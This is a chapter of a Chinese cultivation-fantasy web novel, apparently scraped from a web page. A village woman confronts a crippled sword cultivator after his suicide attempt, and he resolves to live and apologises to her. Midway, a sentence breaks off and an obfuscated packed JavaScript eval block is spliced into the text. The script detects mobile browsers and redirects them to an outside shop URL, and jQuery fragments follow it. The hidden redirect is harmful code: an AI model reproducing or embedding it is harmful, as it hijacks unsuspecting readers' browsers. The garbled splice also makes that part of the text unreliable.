裴安荀保持着被打的姿势僵在原地,白皙的脸上很快浮现出了五个鲜红的指印,在阳光的照射下触目惊心。
在这三百多年里,他从未感受过这样的痛。
不是身体上的痛。
他经脉具断、金丹破碎,和这些疼痛相比,脸上的痛楚显得那么微不足道。
好似是心中的痛。
可这个痛,也不是父亲用鄙夷的目光看向他时心中涌起的酸涩痛意。
他极为缓慢地转头,看向眼前的女子。
女子容颜清丽,站得笔直。
因着方才的用力过度,她的手臂微微颤抖着,胸腔不断起伏,就连束发的发带也落在了地上,散了满肩的青丝。
她的眸光因着愤怒而灼烧着,眼里的那股炽热仿佛要将他烫得体无完肤。
“裴安荀!”
她的声音因为激动而颤抖,“你看看你手里的是什么!”
他下意识地便看向自己手中,手里已经空了,方才握着的清平正落在地面的青砖之上。
“那是你的本命剑!是你身为剑修的命!”她的声音又拔高了几度,可却因着情绪激动而哑了嗓子,“你渡劫之时,它宁可自断也要救你,你渡劫失败,是它在黑夜里拼劲全力发出荧光让我注意到你,是它哪怕已经只剩最后一缕魂魄也要护着你,就是这般护你的这把剑,你竟用它来抹脖子?!”
他沉默着,甚至有些不敢看向眼前的女子。
“我们这些救你的人……”她指向门外,手都还在发抖,“我爹和王叔两人加一起快百岁了,连夜将你带回来。王叔就炼气期的修为,耗尽了体内大半灵力给你喂药。不过两日时间,张婶就将她攒了半年的灵木水送过来只为给让你多吸收些灵气好早些恢复!”
她的眼圈红了,却死死忍着,不让眼泪落下。
“你的师弟顾旻冒着被宗门除名的风险留下丹药来看你。我娘是那般心疼你,嘴上一直念叨着待你恢复了定要好好让你吃上一顿好饭。柳姨家日子这么难,她今个儿早上还跑来问我你还需要什么帮助!”
她抬起自己的手腕,上面还留有浓重的青紫,“你在昏迷不安之时还知道要抓住什么东西,如今清醒了,反倒不想活了?!”
“觉得被我们凡人救了屈辱?觉得自己是个废物?”沈恬上前一步,贴近他的身侧,“那你更应该活着!活着才能将失去的东西一点点找回来!你觉得我们凡人配不上你,那你就去修复金丹,回到那个高高在上的山顶,如果你觉得自己是个废物,那就用捡回的这条烂命好好活出个样子来!”
她指着地上断剑,声音铿锵有力,“这才对得起你的清平剑,对得起你背负着的剑修这二字!”
裴安荀面色煞白,想躲过沈恬的目光,可他发觉自己做不到,沈恬的眼眸如两道利刃,狠狠地剖开了他自欺欺人的伪装。
她口中的每一个字,都直击他的命门。
凡人的善意、清平的自断、剑修的骄傲,这些他昏迷时曾被迫纳入神识,清醒后却不愿面对的话题,都被她一字一句地说出了口。
然而更令他无法面对的,是她眼中那毫不掩饰的愤怒与失望。
那不是对他修为跌落的愤怒、亦不是对他渡劫失败的失望。
她只是在愤怒地质问,你为何要这样伤害自己?
这愤怒太过陌生……
三百年来,他活在剑圣这个虚名之下,也活在永远比不上兄长的阴影之中。
父亲总是严厉,他看待他的目光永远带着审视,衡量着他与兄长、与同门间的差异,父亲不爱笑,就连他每次修为突破时,换来的也不过是父亲严厉的一声本该如此。
母亲一直软弱,她的关怀总是小心翼翼,在父亲的目光下欲言又止,最终化作一句轻飘飘的“安荀,学学你兄长”,她的爱也许有,可永远抵不过对父亲的依附和对兄长的喜爱。
而同门的敬意、后辈的仰望,也无不建立在他的修为与剑术之上。
在他三百多年的认知里,他接触过的所有愤怒和失望都只是因为他还不够厉害、还不够强。
可眼前这个女子……
裴安荀的瞳孔缩了缩。
她的愤怒和失望中没有任何的功利、没有权衡,只是纯粹地关心着他作为一个人的本身。
这个被雷劫劈碎金丹、被宗门抛弃、握着一截断剑的、狼狈不堪的裴安荀。
他知道他的心为何痛了。
他让一个只在乎裴安荀是否活着的人,伤心了。
这个认知像那日的雷劫一般狠狠劈开了他三百多年的思绪。
这一刻,什么道心、什么境界、什么飞升,似乎都离他很远很远。
只有女子赤红的眼眶、颤抖的声音是如此的近、如此的真实。
她只是想让他这个人活着。
这个认知太过沉重,重到他几乎身形不稳。
裴安荀身子一晃,倒在了身后土墙上,土墙凹凸不平,粗粝的石子磕着他的脊柱,墙面冰凉,寒意隔着破碎的衣料渗入皮肤,这里的房间与修仙之人的洞府比起来,可谓是云泥之别,偏偏就是这方简陋的天地,眼前这个秀丽的女子,却让他感受到了某种不一样的地方。
沈恬不再看他,只转身蹲下,捡起地上的清平。
紫色的魂魄又住进了玉佩之中,只是光亮减弱了许多。
沈恬用手轻轻擦拭了剑身落在地上的灰尘,小心翼翼地拂过剑柄上的每一道纹路。
而后她走至裴安荀面前,将那断剑郑重地递了过去。
“拿好你出生入死的老朋友。”
她的说法很奇特。
不是法器,不是宝物,不是本命剑,不是修仙界的任何说法,她说,这是他的老朋友。
老朋友吗……
裴安荀慢慢抬起双手,接过那把他熟悉得再不能熟悉的清平剑,剑身落至他手上的时候,半截剑身的重量竟让他的手向下沉了沉。
沈恬见他瞧着剑也不打扰,只转身出了门,从昨日顾旻带来的三瓶丹药中各倒了一颗出来,用纸包好后又想到了什么,从厨房打了碗水才又去了侧间。
她将纸包与碗放在了一旁的小凳上,声音变得异常平静,“这是你顾师弟昨日送来的药,若你想活,就好好吃了。若你想死,将清平留下,门口有柴刀,你自己寻个清净地方自尽。”
说罢,沈恬头也不回地走出了侧间,合上了房门。
日头不知何时已转到了正空,一束光柱打在了清平剑上,随着时间的流逝在剑上缓慢移动着,照亮了剑上每一条他闭着眼都能背出的深刻纹路。
在无数个日夜里,他与清平朝夕相伴,他一遍遍地擦拭它,直到自己突破了元婴,与其心念合一。
他以气化剑,与清平共振共鸣。
现在,剑断了,共振没了,只留下玉佩中的一缕剑魂。
裴安荀坐在竹榻上一动不动,他垂眸,视线越过手中的清平,最终定格在沈恬遗落在地的那根发带上。
那是一条极为简易的湛蓝色粗布条,布条边缘针脚粗糙,被水洗得已经褪色。和仙门之中女弟子头上那些流光溢彩的法宝头饰比起来,它简陋得甚至有些寒酸。
面上被她打过的地方还在发烫,他轻轻抬起手,用指尖碰了碰那片指痕。
很疼。
但,那是一个凡人女子,在他身上用尽全力留下的印记。
只是为了告诉他,他还活着。
裴安荀的呼吸渐渐急促,他的经脉已经被顾旻带来的丹药修复,可金丹碎裂的剧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136048|196285||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
痛还会发作。
他抬手运气,却发觉自己的修为已跌落至筑基大圆满,莫说要恢复自己曾经的修为,就连金丹都不知是否能修复。
腹部猛地传来一阵尖锐的刺痛,裴安荀忍不住蹙了蹙眉。
尽管有些狼狈,可疼痛却提醒着他……
他还活着。
而活着,就得面对。
面对自己的失败、面对既定的事实、面对未知的一切。
裴安荀撑住床沿,将清平置于身侧,压住腹部的疼痛尽力地弯下腰去,指尖轻捻那抹湛蓝,慢慢拾起那根发带。
发带上似还留有女子发间的余温。
他轻握着发带,忍受着金丹碎裂所带来的撕裂般的疼痛,额上汗水涔涔。
直至日影偏了西,他才方觉得好受了些。
小心将发带叠好,置于清平之上。
“那是你的本命剑!是你身为剑修的命!”
脑海中回荡着女子颤抖的声音。
他看向清平,轻触上剑的断口,寒凉的触感瞬间布满指尖,仿佛在提醒他这柄剑为他承受了什么。
清平的剑魂还在玉佩中微弱地闪烁,像一份不肯散去、等待着主人归来的执念。
剑魂是因着自己的剑意和道心而生,若他就此放弃,那这柄陪他走过三百年风雨、最后为他而断的剑,它的牺牲又算什么……
他忽然觉得,自己连清平都不如。
剑尚且知道护主,而他却只想着逃避。
一股羞耻感猛地窜上了心头。
裴安荀闭上眼,深吸了一口气。
“至少……”他的声音干哑,“得先活到能想办法重铸你的时候。”
他睁开眼,缓缓抬起头,看着一旁小凳上的纸包和水碗。
裴安荀伸手拿起纸包,动作有些僵硬地打了开,里头是三颗丹药,他认得,这些都是药阁的高阶修士三十年来才能炼上一颗的修复丹药。
顾旻为他,亦是煞费苦心。
他抬手,刚想用灵力将丹药给自己渡进去,可拿起丹药的一瞬,他却想到了一旁的水碗。
窗外传来孩童的笑闹、熙熙攘攘的叫卖和几声短促的犬吠。
这里是凡人的村落。
裴安荀端起水碗,那水碗边缘还有个细小的豁口,他将水碗转了个方向,像凡人一般的,用清凉的井水,将三颗丹药一颗一颗地送服至了体内。
丹药融化后瞬间如春水般滋润了丹田与全身经脉。
虽金丹处仍有微微钝痛,但已好上不知多少。
他将水碗放在了一旁,扶床起身。
他该像她道歉。
双腿垂于地面时有一瞬的虚浮,他撑住一旁的墙面,稳住了身形。
他迈出了一步,两步……
脚踏实地的感觉令他心安。
他走至门边,顿了顿动作,而后轻轻用力。
门被从内推开。
沈恬站在柜台后方的位置,正将手中的小药罐拧开,她听见动静,闻声回头。
四目相对。
裴安荀的面上依旧带着白日留下的红印,因着虚弱,他半倚在门框上,但仍旧努力地站直身子。
沈恬不想见他,背过身去,盯着手中的药罐。
一时之间,气氛有点诡异。
片刻之后,他淡淡开了口,声音依旧沙哑,但却像个乖孩子一般地向她汇报着。
“药。”
“我吃了。”
而后,他又补了两句话,极轻,但吐字清晰。
“抱歉。”
“谢谢你……”
他不知道这样说对不对,也不知道接下来该做什么。三百年来,他第一次觉得,感谢和道歉是这样困难又令人无措的事。